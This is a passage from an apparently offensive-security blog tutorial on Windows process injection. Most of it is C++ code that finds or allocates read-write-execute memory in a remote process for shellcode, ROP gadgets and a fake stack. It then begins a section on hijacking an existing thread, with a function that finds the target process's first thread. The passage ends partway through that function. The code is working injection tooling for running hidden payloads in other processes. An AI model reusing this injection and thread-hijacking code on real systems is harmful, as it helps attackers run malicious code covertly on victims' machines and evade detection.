            <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>

        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">remoteGadgets</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] VirtualAllocEx for gadgets failed (Error: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">L")"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
            <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
            <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Allocated gadgets memory at: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteGadgets</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

        <span class="c1">// Allocate separate region for clean stack</span>
        <span class="n">remoteStack</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mh">0x10000</span><span class="p">,</span>
            <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>

        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">remoteStack</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] VirtualAllocEx for stack failed (Error: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">L")"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
            <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
            <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Allocated stack memory at: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteStack</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="nf">if</span> <span class="p">(</span><span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">&lt;</span> <span class="mi">3</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"</span><span class="se">\n</span><span class="s">[+] Found only "</span> <span class="o">&lt;&lt;</span> <span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">L" RWX region(s) (need 3 for shellcode + gadgets + stack)"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[*] Using found regions and allocating remaining..."</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"============================================================"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

        <span class="k">for</span> <span class="p">(</span><span class="kt">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">();</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"["</span> <span class="o">&lt;&lt;</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span> <span class="o">&lt;&lt;</span> <span class="s">L"] Address: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">setfill</span><span class="p">(</span><span class="sc">L'0'</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">setw</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span>
                <span class="o">&lt;&lt;</span> <span class="n">rwxRegions</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">baseAddress</span> <span class="o">&lt;&lt;</span> <span class="s">L" | Size: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">rwxRegions</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">size</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span>
                <span class="o">&lt;&lt;</span> <span class="s">L" ("</span> <span class="o">&lt;&lt;</span> <span class="n">rwxRegions</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">size</span> <span class="o">&lt;&lt;</span> <span class="s">L" bytes)"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"    Module: "</span> <span class="o">&lt;&lt;</span> <span class="n">rwxRegions</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">info</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"============================================================"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

        <span class="c1">// Assign found regions - prioritize stack first, then gadgets, then shellcode</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">&gt;=</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">remoteStack</span> <span class="o">=</span> <span class="n">rwxRegions</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">baseAddress</span><span class="p">;</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"</span><span class="se">\n</span><span class="s">[+] Using RWX region for stack at: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteStack</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="k">if</span> <span class="p">(</span><span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">&gt;=</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">remoteGadgets</span> <span class="o">=</span> <span class="n">rwxRegions</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">baseAddress</span><span class="p">;</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Using RWX region for gadgets at: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteGadgets</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="c1">// Allocate remaining needed regions</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">&lt;</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">remoteStack</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mh">0x10000</span><span class="p">,</span>
                <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>
            <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">remoteStack</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] VirtualAllocEx for stack failed (Error: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">L")"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
                <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
                <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
            <span class="p">}</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Allocated stack memory at: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteStack</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="k">if</span> <span class="p">(</span><span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">&lt;</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">remoteGadgets</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">,</span>
                <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>
            <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">remoteGadgets</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] VirtualAllocEx for gadgets failed (Error: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">L")"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
                <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
                <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
            <span class="p">}</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Allocated gadgets memory at: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteGadgets</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="c1">// Always need to allocate shellcode since we have less than 3</span>
        <span class="n">remoteShellcode</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">,</span>
            <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>
        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">remoteShellcode</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] VirtualAllocEx for shellcode failed (Error: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">L")"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
            <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
            <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Allocated shellcode memory at: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteShellcode</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"</span><span class="se">\n</span><span class="s">[+] Found "</span> <span class="o">&lt;&lt;</span> <span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">L" RWX memory region(s) (sorted by size, largest first):"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"============================================================"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

        <span class="k">for</span> <span class="p">(</span><span class="kt">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">();</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"["</span> <span class="o">&lt;&lt;</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span> <span class="o">&lt;&lt;</span> <span class="s">L"] Address: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">setfill</span><span class="p">(</span><span class="sc">L'0'</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">setw</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span>
                <span class="o">&lt;&lt;</span> <span class="n">rwxRegions</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">baseAddress</span> <span class="o">&lt;&lt;</span> <span class="s">L" | Size: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">rwxRegions</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">size</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span>
                <span class="o">&lt;&lt;</span> <span class="s">L" ("</span> <span class="o">&lt;&lt;</span> <span class="n">rwxRegions</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">size</span> <span class="o">&lt;&lt;</span> <span class="s">L" bytes)"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"    Module: "</span> <span class="o">&lt;&lt;</span> <span class="n">rwxRegions</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">info</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"============================================================"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

        <span class="c1">// Select region for shellcode</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"</span><span class="se">\n</span><span class="s">[?] Select region for SHELLCODE (1-"</span> <span class="o">&lt;&lt;</span> <span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">L"): "</span><span class="p">;</span>
        <span class="kt">int</span> <span class="n">shellcodeChoice</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cin</span> <span class="o">&gt;&gt;</span> <span class="n">shellcodeChoice</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cin</span><span class="p">.</span><span class="n">ignore</span><span class="p">();</span>

        <span class="k">if</span> <span class="p">(</span><span class="n">shellcodeChoice</span> <span class="o">&lt;</span> <span class="mi">1</span> <span class="o">||</span> <span class="n">shellcodeChoice</span> <span class="o">&gt;</span><span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">())</span> <span class="p">{</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] Invalid choice!"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
            <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
            <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="n">remoteShellcode</span> <span class="o">=</span> <span class="n">rwxRegions</span><span class="p">[</span><span class="n">shellcodeChoice</span> <span class="o">-</span> <span class="mi">1</span><span class="p">].</span><span class="n">baseAddress</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Shellcode region selected: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteShellcode</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

        <span class="c1">// Select region for gadgets</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"</span><span class="se">\n</span><span class="s">[?] Select region for GADGETS (1-"</span> <span class="o">&lt;&lt;</span> <span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">L", different from "</span>
            <span class="o">&lt;&lt;</span> <span class="n">shellcodeChoice</span> <span class="o">&lt;&lt;</span> <span class="s">L"): "</span><span class="p">;</span>
        <span class="kt">int</span> <span class="n">gadgetsChoice</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cin</span> <span class="o">&gt;&gt;</span> <span class="n">gadgetsChoice</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cin</span><span class="p">.</span><span class="n">ignore</span><span class="p">();</span>

        <span class="k">if</span> <span class="p">(</span><span class="n">gadgetsChoice</span> <span class="o">&lt;</span> <span class="mi">1</span> <span class="o">||</span> <span class="n">gadgetsChoice</span> <span class="o">&gt;</span><span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">||</span> <span class="n">gadgetsChoice</span> <span class="o">==</span> <span class="n">shellcodeChoice</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] Invalid choice (must be different from shellcode region)!"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
            <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
            <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="n">remoteGadgets</span> <span class="o">=</span> <span class="n">rwxRegions</span><span class="p">[</span><span class="n">gadgetsChoice</span> <span class="o">-</span> <span class="mi">1</span><span class="p">].</span><span class="n">baseAddress</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Gadgets region selected: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteGadgets</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

        <span class="c1">// Select region for clean stack</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"</span><span class="se">\n</span><span class="s">[?] Select region for CLEAN STACK [!!!You must choose a region with size &gt;= 0x4000 (16kb) !!!] (1-"</span> <span class="o">&lt;&lt;</span> <span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">L", different from "</span>
            <span class="o">&lt;&lt;</span> <span class="n">shellcodeChoice</span> <span class="o">&lt;&lt;</span> <span class="s">L" and "</span> <span class="o">&lt;&lt;</span> <span class="n">gadgetsChoice</span> <span class="o">&lt;&lt;</span> <span class="s">L"): "</span><span class="p">;</span>
        <span class="kt">int</span> <span class="n">stackChoice</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cin</span> <span class="o">&gt;&gt;</span> <span class="n">stackChoice</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cin</span><span class="p">.</span><span class="n">ignore</span><span class="p">();</span>

        <span class="k">if</span> <span class="p">(</span><span class="n">stackChoice</span> <span class="o">&lt;</span> <span class="mi">1</span> <span class="o">||</span> <span class="n">stackChoice</span> <span class="o">&gt;</span><span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">||</span>
            <span class="n">stackChoice</span> <span class="o">==</span> <span class="n">shellcodeChoice</span> <span class="o">||</span> <span class="n">stackChoice</span> <span class="o">==</span> <span class="n">gadgetsChoice</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] Invalid choice (must be different from shellcode and gadgets regions)!"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
            <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
            <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="n">remoteStack</span> <span class="o">=</span> <span class="n">rwxRegions</span><span class="p">[</span><span class="n">stackChoice</span> <span class="o">-</span> <span class="mi">1</span><span class="p">].</span><span class="n">baseAddress</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Stack region selected: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteStack</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"</span><span class="se">\n</span><span class="s">[*] Memory allocation summary:"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"    Shellcode: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteShellcode</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"    Gadgets:   0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteGadgets</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"    Stack:     0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteStack</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Okay, so now we have our ROP gadgets identified and our lookup function ready to go, as well as our RWX memory lookup function.  Let’s continue building this out!</p>

<p>Next up, hijacking a thread 🧵</p>

<h2 id="hijacking-an-existing-thread">Hijacking an existing Thread</h2>

<p>I went back and forth on this one.  I thought about whether I wanted to just get the first thread we encounter in our thread lookup routine or specifically get just worker threads.  Believe it or not, worker threads sometimes took forever to execute the final shellcode.  So, I just stuck with using the first thread returned from a basic lookup. Here’s what that looks like in System Informer when we hijack a thread and suspend it.  Notice the odd memory address that stands out in the hijacked thread.  That’s us! 😺</p>

<p><img width="740" height="434" alt="image" src="https://github.com/user-attachments/assets/4e304d26-761f-4782-ab2f-85cbd52b5722" /></p>

<p>Now for the code.  In the code below, we grab a snapshot of all running threads and then sift through them all, looking for the first thread that matches our remote PID (processID) and return it!  It’s as simple as that.  Once we return the found thread, I added some code to output what the threadId was so you can look it up yourself in System Informer if you like 😸</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">DWORD</span> <span class="nf">FindThreadId</span><span class="p">(</span><span class="n">DWORD</span> <span class="n">pid</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">THREADENTRY32</span> <span class="n">te</span><span class="p">{};</span>
    <span class="n">te</span><span class="p">.</span><span class="n">dwSize</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">te</span><span class="p">);</span>

    <span class="n">HANDLE</span> <span class="n">snap</span> <span class="o">=</span> <span class="n">CreateToolhelp32Snapshot</span><span class="p">(</span><span class="n">TH32CS_SNAPTHREAD</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">snap</span> <span class="o">==</span> <span class="n">INVALID_HANDLE_VALUE</span><span class="p">)</span>
        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">Thread32First</span><span class="p">(</span><span class="n">snap</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">te</span><span class="p">))</span> <span class="p">{</span>
        <span class="k">do</span> <span class="p">{</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">te</span><span class="p">.</span><span class="n">th32OwnerProcessID</span> <span class="o">==</span> <span class="n">pid</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">CloseHandle</span><span class="p">(</span><span class="n">snap</span><span class="p">);</span>
